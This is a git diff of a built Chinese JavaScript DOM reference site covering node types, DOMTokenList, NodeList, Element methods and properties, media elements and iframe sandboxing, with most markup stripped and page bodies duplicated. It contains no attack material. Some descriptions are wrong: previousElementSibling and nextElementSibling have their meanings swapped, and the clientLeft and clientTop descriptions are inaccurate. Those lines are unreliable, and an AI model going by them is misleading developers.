                                                    2Attr属性节点属性名称属性值
                                                    3Text文本节点#text节点的内容
                                                    4CDATASectionCDATA 节点#cdata-section节点的内容
                                                    5EntityReference实体引用名称节点实体引用名称null
                                                    6Entity实体名称节点实体名称null
                                                    7ProcessingInstruction处理指令节点target节点的内容
                                                    8Comment注释节点#comment注释文本
                                                    9Document文档节点#documentnull
                                                    10DocumentType文档类型节点文档类型名称null
                                                    11DocumentFragment文档片段节点#documentnull
                                                    12NotationDTD 声明节点符号名称null
                                                    +

                                                    节点层次

                                                    DOM 可以将任何 HTML 描绘成一个由多层节点构成的结构。节点分为 12 种不同类型,每种类型分别表示文档中不同的信息及标记。每个节点都拥有各自的特点、数据和方法,也与其他节点存在某种关系。节点之间的关系构成了层次,而所有页面标记则表现为一个以特定节点为根节点的树形结构。

                                                    DOM结构

                                                    先看看下面代码:

                                                    <!DOCTYPE html>
                                                    <html>
                                                    <head>
                                                    <meta charset="utf-8" />
                                                    <title>DOM</title>
                                                    </head>
                                                    <body>
                                                    <h2><a href="https://github.com">javascript DOM</a></h2>
                                                    <p>对HTML元素进行操作,可添加、改变或移除css样式等</p>
                                                    <ul>
                                                    <li>JavaScript</li>
                                                    <li>DOM</li>
                                                    <li>CSS</li>
                                                    </ul>
                                                    </body>
                                                    </html>

                                                    将 HTML 代码分解为 DOM 节点层次图:

                                                    DOM结构图

                                                    HTML 文档可以说由节点构成的集合,DOM 节点由:

                                                    1. 元素节点:上图中 <html><body><p> 等都是元素节点,即标签
                                                    2. 文本节点:向用户展示的内容,如 <li>...</li> 中的 JavaScript、DOM、CSS 等文本
                                                    3. 属性节点:元素属性,如 <a> 标签的链接属性 href="https://github.com"

                                                    文档节点是每个文档的根节点。在这个例子中,文档节点只有一个字节点,即 <html> 元素,我们称之为文档元素。文档元素是文档的最外层元素,文档中的其他所有元素都包含在文档元素中。每个文档只能有一个文档元素。在 HTML 页面中,文档元素始终都是 <html>元素。在 XML 中,没有预定义的元素,因此任何元素都可能成为文档元素。

                                                    DOM 节点类型

                                                    每一段标记都可以通过树中的一个节点来表示: HTML 元素通过元素节点表示,特性(Attribute)通过特性节点表示,文档类型通过文档类型节点表示,而注释则通过注释节点表示。总共 12 种节点类型,这些类型都继承自一个基类型。

                                                    数值常量节点类型说明nodeNamenodeValue
                                                    1Element元素节点元素名null
                                                    2Attr属性节点属性名称属性值
                                                    3Text文本节点#text节点的内容
                                                    4CDATASectionCDATA 节点#cdata-section节点的内容
                                                    5EntityReference实体引用名称节点实体引用名称null
                                                    6Entity实体名称节点实体名称null
                                                    7ProcessingInstruction处理指令节点target节点的内容
                                                    8Comment注释节点#comment注释文本
                                                    9Document文档节点#documentnull
                                                    10DocumentType文档类型节点文档类型名称null
                                                    11DocumentFragment文档片段节点#documentnull
                                                    12NotationDTD 声明节点符号名称null
                                                    - + diff --git a/document-object-model/dom/index.html b/document-object-model/dom/index.html index c4446e23c..808706986 100644 --- a/document-object-model/dom/index.html +++ b/document-object-model/dom/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/dom/video-context/index.html b/document-object-model/dom/video-context/index.html index 62c84bb13..1f24f44c5 100644 --- a/document-object-model/dom/video-context/index.html +++ b/document-object-model/dom/video-context/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + VideoContext - JavaScript Guidebook -
                                                    +
                                                    - + diff --git a/document-object-model/dynamic-collection/dom-token-list/index.html b/document-object-model/dynamic-collection/dom-token-list/index.html index b554492fe..810fa1c8a 100644 --- a/document-object-model/dynamic-collection/dom-token-list/index.html +++ b/document-object-model/dynamic-collection/dom-token-list/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + DOMTokenList - JavaScript Guidebook -

                                                    DOMTokenList

                                                    DOMTokenList 接口表示一组空格分隔的标记(tokens)。如由 Element.classList、HTMLLinkElement.relList、HTMLAnchorElement.relList 或 HTMLAreaElement.relList 返回的一组值。它和 JavaScript Array 对象一样,索引从 0 开始。DOMTokenList 总是区分大小写(case-sensitive)。

                                                    接口方法

                                                    item

                                                    DOMTokenList.item(index);

                                                    根据传入的索引值返回一个值,如果索引值大于等于符号列表的长度(length),则返回 undefined 或 null,在 Gecko 7.0 之前的版本中返回 null。

                                                    contains

                                                    DOMTokenList.contains(token);

                                                    如果 DOMTokenList 列表中包括相应的字符串 token,则返回 true,否则返回 false。

                                                    add

                                                    DOMTokenList.add(token1 [, token2 [, ...tokenN]]);

                                                    添加一个或多个标记(token)到 DOMTokenList 列表中。

                                                    remove

                                                    DOMTokenList.remove(token1 [, token2 [, ...tokenN]]);

                                                    从 DOMTokenList 列表中移除一个或多个标记(token)。

                                                    replace

                                                    DOMTokenList.replace(oldToken, newToken);

                                                    使用 newToken 替换 token

                                                    supports

                                                    DOMTokenList.supports(token);

                                                    如果传入的 token 是相关属性(attribute)支持的标记,则返回 true 。

                                                    toggle

                                                    DOMTokenList.toggle(token [, force]);

                                                    从 DOMTokenList 字符串中移除标记字串(token),并返回 false。如果传入的字串(token)不存在,则将其添加进去,并返回 trueforce 是一个可选的布尔值,如果传入 true,且传入的 token 不存在,则将其添加进去并返回 true,若传入的 token 存在,则直接返回 true;反之,如果传入 false,则移除存在的 token,并返回 false,如 token 不存在则直接返回 false

                                                    entries

                                                    DOMTokenList.entries();

                                                    返回一个迭代器(iterator) ,以遍历这个对象中的所有键值对。

                                                    forEach

                                                    DOMTokenList.forEach(callback [, thisArg]);

                                                    为每个 DOMTokenList 中的元素都调用一次传入的 callback 函数 。

                                                    keys

                                                    DOMTokenList.keys();

                                                    返回一个迭代器(iterator)以遍历这个对象中所有键值对的键。

                                                    values

                                                    DOMTokenList.values();

                                                    返回一个迭代器(iterator)以遍历这个对象中所有键值对的值。

                                                    +

                                                    DOMTokenList

                                                    DOMTokenList 接口表示一组空格分隔的标记(tokens)。如由 Element.classList、HTMLLinkElement.relList、HTMLAnchorElement.relList 或 HTMLAreaElement.relList 返回的一组值。它和 JavaScript Array 对象一样,索引从 0 开始。DOMTokenList 总是区分大小写(case-sensitive)。

                                                    接口方法

                                                    item

                                                    DOMTokenList.item(index);

                                                    根据传入的索引值返回一个值,如果索引值大于等于符号列表的长度(length),则返回 undefined 或 null,在 Gecko 7.0 之前的版本中返回 null。

                                                    contains

                                                    DOMTokenList.contains(token);

                                                    如果 DOMTokenList 列表中包括相应的字符串 token,则返回 true,否则返回 false。

                                                    add

                                                    DOMTokenList.add(token1 [, token2 [, ...tokenN]]);

                                                    添加一个或多个标记(token)到 DOMTokenList 列表中。

                                                    remove

                                                    DOMTokenList.remove(token1 [, token2 [, ...tokenN]]);

                                                    从 DOMTokenList 列表中移除一个或多个标记(token)。

                                                    replace

                                                    DOMTokenList.replace(oldToken, newToken);

                                                    使用 newToken 替换 token

                                                    supports

                                                    DOMTokenList.supports(token);

                                                    如果传入的 token 是相关属性(attribute)支持的标记,则返回 true 。

                                                    toggle

                                                    DOMTokenList.toggle(token [, force]);

                                                    从 DOMTokenList 字符串中移除标记字串(token),并返回 false。如果传入的字串(token)不存在,则将其添加进去,并返回 trueforce 是一个可选的布尔值,如果传入 true,且传入的 token 不存在,则将其添加进去并返回 true,若传入的 token 存在,则直接返回 true;反之,如果传入 false,则移除存在的 token,并返回 false,如 token 不存在则直接返回 false

                                                    entries

                                                    DOMTokenList.entries();

                                                    返回一个迭代器(iterator) ,以遍历这个对象中的所有键值对。

                                                    forEach

                                                    DOMTokenList.forEach(callback [, thisArg]);

                                                    为每个 DOMTokenList 中的元素都调用一次传入的 callback 函数 。

                                                    keys

                                                    DOMTokenList.keys();

                                                    返回一个迭代器(iterator)以遍历这个对象中所有键值对的键。

                                                    values

                                                    DOMTokenList.values();

                                                    返回一个迭代器(iterator)以遍历这个对象中所有键值对的值。

                                                    - + diff --git a/document-object-model/dynamic-collection/html-collection/index.html b/document-object-model/dynamic-collection/html-collection/index.html index 7fb5d2df3..87955db61 100644 --- a/document-object-model/dynamic-collection/html-collection/index.html +++ b/document-object-model/dynamic-collection/html-collection/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLCollection - JavaScript Guidebook -
                                                    +
                                                    - + diff --git a/document-object-model/dynamic-collection/index.html b/document-object-model/dynamic-collection/index.html index a2b321ce3..ec0b3dff1 100644 --- a/document-object-model/dynamic-collection/index.html +++ b/document-object-model/dynamic-collection/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/dynamic-collection/named-node-map/index.html b/document-object-model/dynamic-collection/named-node-map/index.html index c952ce019..4393d5031 100644 --- a/document-object-model/dynamic-collection/named-node-map/index.html +++ b/document-object-model/dynamic-collection/named-node-map/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + NamedNodeMap - JavaScript Guidebook -

                                                    NamedNodeMap

                                                    接口方法

                                                    getNamedItem

                                                    返回一个给定名字对应的属性节点。

                                                    setNamedItem

                                                    替换或添加一个属性节点(Attr)到映射(Map)中。

                                                    removeNamedItem

                                                    移除一个属性节点(Attr)。

                                                    item

                                                    返回指定索引处的属性节点(Attr),或者,当索引超出或等于属性节点的数量时,返回 null。

                                                    getNamedItemNS

                                                    根据给定的命名空间参数和 name 参数返回一个 Attr 对象。

                                                    setNamedItemNS

                                                    替换、添加给定命名空间参数和 name 参数的 Attr 对象 。

                                                    removeNamedItemNS

                                                    删除给定命名空间参数和 name 参数的 Attr 对象

                                                    +

                                                    NamedNodeMap

                                                    接口方法

                                                    getNamedItem

                                                    返回一个给定名字对应的属性节点。

                                                    setNamedItem

                                                    替换或添加一个属性节点(Attr)到映射(Map)中。

                                                    removeNamedItem

                                                    移除一个属性节点(Attr)。

                                                    item

                                                    返回指定索引处的属性节点(Attr),或者,当索引超出或等于属性节点的数量时,返回 null。

                                                    getNamedItemNS

                                                    根据给定的命名空间参数和 name 参数返回一个 Attr 对象。

                                                    setNamedItemNS

                                                    替换、添加给定命名空间参数和 name 参数的 Attr 对象 。

                                                    removeNamedItemNS

                                                    删除给定命名空间参数和 name 参数的 Attr 对象

                                                    - + diff --git a/document-object-model/dynamic-collection/node-list/index.html b/document-object-model/dynamic-collection/node-list/index.html index 81bdbd0a1..15e978c10 100644 --- a/document-object-model/dynamic-collection/node-list/index.html +++ b/document-object-model/dynamic-collection/node-list/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
                                                    // 获取集合长度
                                                    const count = someNode.childNodes.length;

                                                    NodeList 不是一个数组,是一个类似数组的对象(Like Array Object)。虽然 NodeList 不是一个数组,但是可以使用 forEach() 来迭代。你还可以使用 Array.from() 将其转换为数组。

                                                    不过,有些浏览器较为过时,没有实现 NodeList.forEach()Array.from()。你可以用 Array.prototype.forEach() 来规避这一问题。

                                                    在一些情况下,NodeList 是一个实时集合,也就是说,如果文档中的节点树发生变化,NodeList 也会随之变化。例如,Node.childNodes 是实时的:

                                                    const parent = document.getElementById('parent');
                                                    const childNodes = parent.childNodes;
                                                    console.log(childNodes.length);
                                                    // 假设为 2
                                                    parent.appendChild(document.createElement('div'));
                                                    -
                                                    console.log(childNodes.length);
                                                    // 3

                                                    在其他情况下,NodeList 是一个静态集合,也就意味着随后对文档对象模型的任何改动都不会影响集合的内容。比如 document.querySelectorAll 就会返回一个静态 NodeList。

                                                    最好牢记这种不同,尤其是在当你选择 NodeList 中所有项遍历的方式,或缓存它的长度的时候。


                                                    参考资料:

                                                    +
                                                    console.log(childNodes.length);
                                                    // 3

                                                    在其他情况下,NodeList 是一个静态集合,也就意味着随后对文档对象模型的任何改动都不会影响集合的内容。比如 document.querySelectorAll 就会返回一个静态 NodeList。

                                                    最好牢记这种不同,尤其是在当你选择 NodeList 中所有项遍历的方式,或缓存它的长度的时候。


                                                    参考资料:

                                                    - + diff --git a/document-object-model/element/element-methods/index.html b/document-object-model/element/element-methods/index.html index ccb1d5cbd..332815be0 100644 --- a/document-object-model/element/element-methods/index.html +++ b/document-object-model/element/element-methods/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                                                    Element 方法

                                                    位置方法

                                                    getBoundingClientRect

                                                    获取元素的大小及其相对于视口的位置

                                                    getClientRects

                                                    获取一个指向客户端中每一个盒子的边界矩形的矩形集合

                                                    computedStyleMap

                                                    样式方法

                                                    matches

                                                    使用 Element.matches 方法可以通过精准匹配样式。

                                                    Element.matches(selectorString);

                                                    示例:

                                                    <ul id="foo">
                                                    <li class="class-1">item 1</li>
                                                    <li>item 2</li>
                                                    <li class="class-1">item 3</li>
                                                    ......
                                                    <li>item n</li>
                                                    </ul>
                                                    // ...... 代表中间还有未知数个 li
                                                    • 这里,我们想把 #foo 元素下的 li 元素(并且它的 classclass-1)的点击事件委托代理到 ul#foo 之上。
                                                    • 如果通过上述的方法我们还需要在 if (target.nodeName.toLocaleLowerCase === 'li') 判断之中在加入一个判断 target.nodeName.className === 'class-1'
                                                    • 但是如果想像 CSS 选择器般做更加灵活的匹配的话,上面的判断未免就太多了,并且很难做到灵活性。

                                                    这里可以使用 Element.matches API 来匹配。Element.matches API 的基本使用方法:

                                                    selectorString 既是 CSS 那样的选择器规则,比如本例中可以使用 target.matches('li.class-1'),他会返回一个布尔值,如果 target 元素是标签 li 并且它的类是 class-1 ,那么就会返回 true,否则返回 false

                                                    当然它的兼容性还有一些问题,需要 IE9 及以上的现代化浏览器版本。

                                                    我们可以使用 Polyfill 来解决兼容性上的问题:

                                                    if (!Element.prototype.matches) {
                                                    Element.prototype.matches =
                                                    Element.prototype.matchesSelector ||
                                                    Element.prototype.mozMatchesSelector ||
                                                    Element.prototype.msMatchesSelector ||
                                                    Element.prototype.oMatchesSelector ||
                                                    Element.prototype.webkitMatchesSelector ||
                                                    function(s) {
                                                    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
                                                    i = matches.length;
                                                    while (--i >= 0 && matches.item(i) !== this) {}
                                                    return i > -1;
                                                    };
                                                    }

                                                    加上 Element.matches 之后就可以来实现我们的需求了:

                                                    if (!Element.prototype.matches) {
                                                    Element.prototype.matches =
                                                    Element.prototype.matchesSelector ||
                                                    Element.prototype.mozMatchesSelector ||
                                                    Element.prototype.msMatchesSelector ||
                                                    Element.prototype.oMatchesSelector ||
                                                    Element.prototype.webkitMatchesSelector ||
                                                    function(s) {
                                                    const matches = (this.document || this.ownerDocument).querySelectorAll(s),
                                                    i = matches.length;
                                                    while (--i >= 0 && matches.item(i) !== this) {}
                                                    return i > -1;
                                                    };
                                                    }
                                                    document.getElementById('foo').addEventListener('click', function(e) {
                                                    // 兼容性处理
                                                    const event = e || window.event;
                                                    const target = event.target || event.srcElement;
                                                    if (target.matches('li.class-1')) {
                                                    console.log('the content is: ', target.innerHTML);
                                                    }
                                                    });

                                                    animate

                                                    Element 接口的 animate 方法是一个创建新 Animation 的便捷方法,将它应用于元素,然后运行动画。它将返回一个新建的 Animation 对象实例

                                                    getAnimations

                                                    Promise.all(elem.getAnimations({ subtree: true }).map(animation => animation.finished)).then(() =>
                                                    elem.remove()
                                                    );

                                                    属性方法

                                                    getAttribute

                                                    获取元素中指定属性

                                                    setAttribute

                                                    设置元素中指定属性

                                                    hasAttribute

                                                    判断元素中是否存在置顶属性

                                                    removeAttribute

                                                    移除元素中指定属性

                                                    滚动方法

                                                    scroll

                                                    Element.scroll 方法是用于在给定的元素中滚动到某个特定坐标的 Element 接口。

                                                    scrollBy

                                                    Element.scrollBy 方法是使得元素滚动一段特定距离的 Element 接口。

                                                    scrollIntoView

                                                    Element.scrollIntoView 方法让当前的元素滚动到浏览器窗口的可视区域内。

                                                    scrollTo

                                                    Element.scrollTo 方法可以使界面滚动到给定元素的指定坐标位置。

                                                    requestFullscreen

                                                    事件对象

                                                    // Event 对象爱哪个
                                                    const event = window.event || event;
                                                    -
                                                    // 事件的目标节点
                                                    const target = event.target || event.srcElement;
                                                    +
                                                    // 事件的目标节点
                                                    const target = event.target || event.srcElement;
                                                    - + diff --git a/document-object-model/element/element-properties/index.html b/document-object-model/element/element-properties/index.html index 8c61a390f..371a8773e 100644 --- a/document-object-model/element/element-properties/index.html +++ b/document-object-model/element/element-properties/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -36,12 +39,12 @@
                                                    <script type="text/javascript">
                                                    const foo = document.querySelector('.foo');
                                                    const classList = foo.classList;
                                                    console.log(classList);
                                                    // DOMTokenList(3) ["foo", "bar", "baz", value: "foo bar baz"]
                                                    </script>
                                                    </body>

                                                    dataset

                                                    获取元素节点中所有的 data-* 自定义属性(DOMStringMap)。

                                                    <body>
                                                    <div class="foo" data-name="Amy" data-age="18" data-gender="female">Hello world!</div>
                                                    <script type="text/javascript">
                                                    const foo = document.querySelector('.foo');
                                                    const dataset = foo.dataset;
                                                    -
                                                    console.log(dataset);
                                                    // DOMStringMap { name: "Amy", age: "18", gender: "female" }
                                                    </script>
                                                    </body>

                                                    innerHTML

                                                    获取或设置元素 HTML 语法表示的元素后代

                                                    outerHTML

                                                    获取元素及其后代的序列化 HTML 片段

                                                    坐标尺寸型属性

                                                    clientWidth

                                                    获取元素节点可视部分的宽度

                                                    clientHeight

                                                    获取元素节点可视部分的高度

                                                    clientLeft

                                                    获取元素节点 offsetLeft 属性值和到当前窗口左边真实值之间的距离

                                                    clientTop

                                                    获取元素节点 offsetTop 属性值和到当前窗口上边真实值之间的距离

                                                    scrollWidth

                                                    取元素节点的总宽度,包括由于溢出导致视图不可见内容

                                                    scrollHeight

                                                    获取元素节点的总高度,包括由于溢出导致视图不可见内容

                                                    scrollLeft

                                                    获取或设置元素水平滚动条到元素左边的距离

                                                    scrollTop

                                                    获取或设置元素垂直滚动条到元素顶部的距离

                                                    offsetHeight

                                                    获取元素的像素高度(包括元素垂直内边距和边框)

                                                    offsetWidth

                                                    获取元素的像素宽度(包括元素水平内边距和边框)

                                                    offsetLeft

                                                    获取元素左上角相对于父元素左边界偏移的像素值

                                                    offsetTop

                                                    获取元素左上角相对于父元素上边界偏移的像素值

                                                    关系型属性

                                                    offsetParent

                                                    获取元素节点的最近的、并且 CSS 的 position 属性不等于 static 的父元素

                                                    previousElementSibling

                                                    获取元素元素节点的下一个兄弟 HTML 元素节点

                                                    nextElementSibling

                                                    获取元素元素节点的上一个兄弟 HTML 元素节点

                                                    children

                                                    获取元素节点的所有子元素节点

                                                    childElementCount

                                                    获取元素节点包含的子 HTML 元素节点的个数

                                                    firstElementChild

                                                    获取元素节点的第一个 Element 子节点

                                                    lastElementChild

                                                    获取元素节点的最后一个 Element 子节点

                                                    +
                                                    console.log(dataset);
                                                    // DOMStringMap { name: "Amy", age: "18", gender: "female" }
                                                    </script>
                                                    </body>

                                                    innerHTML

                                                    获取或设置元素 HTML 语法表示的元素后代

                                                    outerHTML

                                                    获取元素及其后代的序列化 HTML 片段

                                                    坐标尺寸型属性

                                                    clientWidth

                                                    获取元素节点可视部分的宽度

                                                    clientHeight

                                                    获取元素节点可视部分的高度

                                                    clientLeft

                                                    获取元素节点 offsetLeft 属性值和到当前窗口左边真实值之间的距离

                                                    clientTop

                                                    获取元素节点 offsetTop 属性值和到当前窗口上边真实值之间的距离

                                                    scrollWidth

                                                    取元素节点的总宽度,包括由于溢出导致视图不可见内容

                                                    scrollHeight

                                                    获取元素节点的总高度,包括由于溢出导致视图不可见内容

                                                    scrollLeft

                                                    获取或设置元素水平滚动条到元素左边的距离

                                                    scrollTop

                                                    获取或设置元素垂直滚动条到元素顶部的距离

                                                    offsetHeight

                                                    获取元素的像素高度(包括元素垂直内边距和边框)

                                                    offsetWidth

                                                    获取元素的像素宽度(包括元素水平内边距和边框)

                                                    offsetLeft

                                                    获取元素左上角相对于父元素左边界偏移的像素值

                                                    offsetTop

                                                    获取元素左上角相对于父元素上边界偏移的像素值

                                                    关系型属性

                                                    offsetParent

                                                    获取元素节点的最近的、并且 CSS 的 position 属性不等于 static 的父元素

                                                    previousElementSibling

                                                    获取元素元素节点的下一个兄弟 HTML 元素节点

                                                    nextElementSibling

                                                    获取元素元素节点的上一个兄弟 HTML 元素节点

                                                    children

                                                    获取元素节点的所有子元素节点

                                                    childElementCount

                                                    获取元素节点包含的子 HTML 元素节点的个数

                                                    firstElementChild

                                                    获取元素节点的第一个 Element 子节点

                                                    lastElementChild

                                                    获取元素节点的最后一个 Element 子节点

                                                    - + diff --git a/document-object-model/element/element/index.html b/document-object-model/element/element/index.html index 504721c89..47926458e 100644 --- a/document-object-model/element/element/index.html +++ b/document-object-model/element/element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Element - JavaScript Guidebook -

                                                      Element

                                                      Element 是一个通用性非常强的基类,所有 Document 对象下的对象都继承自它。这个接口描述了所有相同种类的元素所普遍具有的方法和属性。

                                                      一些接口继承自 Element 并且增加了一些额外功能的接口描述了具体的行为。例如,HTMLElement 接口是所有 HTML 元素的基本接口,而 SVGElement 接口是所有 SVG 元素的基础。大多数功能是在这个类的更深层级(hierarchy)的接口中被进一步制定的。

                                                      在 Web 平台的领域以外的语言,比如 XUL,通过 XULElement 接口,同样也实现了 Element 接口。

                                                      EventTarget <- Node <- Element
                                                      +

                                                        Element

                                                        Element 是一个通用性非常强的基类,所有 Document 对象下的对象都继承自它。这个接口描述了所有相同种类的元素所普遍具有的方法和属性。

                                                        一些接口继承自 Element 并且增加了一些额外功能的接口描述了具体的行为。例如,HTMLElement 接口是所有 HTML 元素的基本接口,而 SVGElement 接口是所有 SVG 元素的基础。大多数功能是在这个类的更深层级(hierarchy)的接口中被进一步制定的。

                                                        在 Web 平台的领域以外的语言,比如 XUL,通过 XULElement 接口,同样也实现了 Element 接口。

                                                        EventTarget <- Node <- Element
                                                        - + diff --git a/document-object-model/element/html-audio-element/index.html b/document-object-model/element/html-audio-element/index.html index 860f496fa..67c4f242c 100644 --- a/document-object-model/element/html-audio-element/index.html +++ b/document-object-model/element/html-audio-element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLAudioElement - JavaScript Guidebook -

                                                        HTMLAudioElement

                                                        EventTarget <- Node <- Element <- HTMLElement <- HTMLMediaElement <- HTMLAudioElment

                                                        HTML5 <audio> 元素用于在文档中嵌入音频内容。<audio> 元素可以包含一个或多个音频资源,这些音频资源可以使用 src 属性或者 <source> 元素来进行描述:浏览器将会选择最合适的一个来使用。也可以使用 MediaStream 将这个元素用于流式媒体。

                                                        基本用法

                                                        <audio></audio>

                                                        API

                                                        属性

                                                        属性说明
                                                        autoplay
                                                        controls
                                                        crossorigin
                                                        currentTime
                                                        duration
                                                        loop
                                                        muted
                                                        preload
                                                        src

                                                        事件

                                                        事件说明
                                                        audioprocess
                                                        canplay浏览器已经可以播放媒体,但是预测已加载的数据不足以在不暂停的情况下顺利将其播放到结尾(即预测会在播放时暂停以获取更多的缓冲区内容)
                                                        canplaythrough浏览器预测已经可以在不暂停的前提下将媒体播放到结束
                                                        complete
                                                        durationchangeduration 属性发生了变化
                                                        emptied
                                                        ended播放到媒体的结束位置,播放停止
                                                        loadeddata媒体的第一帧加载完成
                                                        loadedmetadata元数据加载完成
                                                        pause播放暂停
                                                        play播放开始
                                                        playing因为缺少数据而暂停或延迟的状态结束,播放准备开始
                                                        ratechange播放速度变化
                                                        seeked一次获取 操作结束
                                                        seeking一次获取 操作开始
                                                        stalled用户代理试图获取媒体数据,但数据意外地没有进入
                                                        suspend
                                                        timeupdatecurrentTime 指定的时间更新
                                                        volumechange音量变化
                                                        waiting因为暂时性缺少数据,播放暂停

                                                        参考资料

                                                        +

                                                        HTMLAudioElement

                                                        EventTarget <- Node <- Element <- HTMLElement <- HTMLMediaElement <- HTMLAudioElment

                                                        HTML5 <audio> 元素用于在文档中嵌入音频内容。<audio> 元素可以包含一个或多个音频资源,这些音频资源可以使用 src 属性或者 <source> 元素来进行描述:浏览器将会选择最合适的一个来使用。也可以使用 MediaStream 将这个元素用于流式媒体。

                                                        基本用法

                                                        <audio></audio>

                                                        API

                                                        属性

                                                        属性说明
                                                        autoplay
                                                        controls
                                                        crossorigin
                                                        currentTime
                                                        duration
                                                        loop
                                                        muted
                                                        preload
                                                        src

                                                        事件

                                                        事件说明
                                                        audioprocess
                                                        canplay浏览器已经可以播放媒体,但是预测已加载的数据不足以在不暂停的情况下顺利将其播放到结尾(即预测会在播放时暂停以获取更多的缓冲区内容)
                                                        canplaythrough浏览器预测已经可以在不暂停的前提下将媒体播放到结束
                                                        complete
                                                        durationchangeduration 属性发生了变化
                                                        emptied
                                                        ended播放到媒体的结束位置,播放停止
                                                        loadeddata媒体的第一帧加载完成
                                                        loadedmetadata元数据加载完成
                                                        pause播放暂停
                                                        play播放开始
                                                        playing因为缺少数据而暂停或延迟的状态结束,播放准备开始
                                                        ratechange播放速度变化
                                                        seeked一次获取 操作结束
                                                        seeking一次获取 操作开始
                                                        stalled用户代理试图获取媒体数据,但数据意外地没有进入
                                                        suspend
                                                        timeupdatecurrentTime 指定的时间更新
                                                        volumechange音量变化
                                                        waiting因为暂时性缺少数据,播放暂停

                                                        参考资料

                                                        - + diff --git a/document-object-model/element/html-element/index.html b/document-object-model/element/html-element/index.html index 1d44652eb..35feb346a 100644 --- a/document-object-model/element/html-element/index.html +++ b/document-object-model/element/html-element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLElement - JavaScript Guidebook -

                                                        HTMLElement

                                                        HTMLElement 接口表示所有的 HTML 元素。一些 HTML 元素直接实现了 HTMLElement 接口,其它的间接实现 HTMLElement 接口。

                                                        HTML 元素

                                                        所有 HTML 元素都由 HTMLElement 类型表示,不是直接通过这个类型,也是通过它的子类型来表示。HTMLElement 类型直接继承自 Element 并添加了一些属性。添加的这些属性分别对应于每个 HTML 元素中都存在的下列标准特性。

                                                        属性说明
                                                        id元素在文档中的唯一标识符
                                                        title有关元素的附加说明信息,一般通过工具提示条显示出来
                                                        lang元素内容的语言代码,很少使用
                                                        dir语言的方向,值为 ltr(从左至右)或 rtl(从右至左),也很少使用
                                                        className与元素的 class 特性对应,即为元素指定的 CSS 类。没有将这个属性命名为 class,是因为 class 是 ECMAScript 保留字
                                                        +

                                                        HTMLElement

                                                        HTMLElement 接口表示所有的 HTML 元素。一些 HTML 元素直接实现了 HTMLElement 接口,其它的间接实现 HTMLElement 接口。

                                                        HTML 元素

                                                        所有 HTML 元素都由 HTMLElement 类型表示,不是直接通过这个类型,也是通过它的子类型来表示。HTMLElement 类型直接继承自 Element 并添加了一些属性。添加的这些属性分别对应于每个 HTML 元素中都存在的下列标准特性。

                                                        属性说明
                                                        id元素在文档中的唯一标识符
                                                        title有关元素的附加说明信息,一般通过工具提示条显示出来
                                                        lang元素内容的语言代码,很少使用
                                                        dir语言的方向,值为 ltr(从左至右)或 rtl(从右至左),也很少使用
                                                        className与元素的 class 特性对应,即为元素指定的 CSS 类。没有将这个属性命名为 class,是因为 class 是 ECMAScript 保留字
                                                        - + diff --git a/document-object-model/element/html-iframe-element/index.html b/document-object-model/element/html-iframe-element/index.html index c9393bd1d..3627a11a6 100644 --- a/document-object-model/element/html-iframe-element/index.html +++ b/document-object-model/element/html-iframe-element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLIFrameElement - JavaScript Guidebook -

                                                        HTMLIFrameElement

                                                        HTML 文档中的 <iframe> 元素

                                                        <iframe src="https://blog.5udou.cn/"></iframe>

                                                        属性

                                                        属性描述
                                                        src嵌入网页内容的地址
                                                        srcdoc网页要显示的内容
                                                        name内嵌的浏览器内容的目标名称
                                                        sandbox提供额外的限制
                                                        allow指定特性策略
                                                        allowfullscreen是否允许全凭显示
                                                        width内嵌网页的宽度
                                                        height内嵌网页的高度
                                                        referrerpolicy指定获取资源时携带的 referer,默认是 no-referrer-when-downgrade(也就是协议降级时不发送 Referrer 信息)
                                                        loading
                                                        contentWindow内嵌网页执行上下文的 window 对象
                                                        contentDocument内嵌网页执行上下文的 document 对象

                                                        沙箱模式

                                                        iframe 的沙箱模式可以提供一些额外的配置,当你把 iframe 置为沙箱的时候,意味着沙箱内的内容的行为 全凭你控制 了。

                                                        例如在 iframe 中设置:

                                                        <iframe sandbox src="http://127.0.0.1:3000/iframe1.html"></iframe>

                                                        框架文件将会被完全沙箱化,并有以下限制:

                                                        • JavaScript 将不会在框架文档中执行。这不仅包括通过 script 标签加载的 JavaScript 脚本文件,还包括内联事件处理程序和 javascript: URLs。这还意味着 noscript 标签中的内容会被显示,就像用户自己禁用了脚本一样
                                                        • 框架文档被加载到唯一的源,这意味着所有同源检查都将失败;唯一的源不匹配其他源,甚至它们自己。在其他影响中,这意味着文档不能访问其他源的 cookie 或任何其他存储机制( DOM 存储、索引数据库等)中的数据
                                                        • 框架文档不能创建新窗口或对话框(例如,通过 window.opentarget="blank"
                                                        • 表单不能提交
                                                        • 插件不会被加载
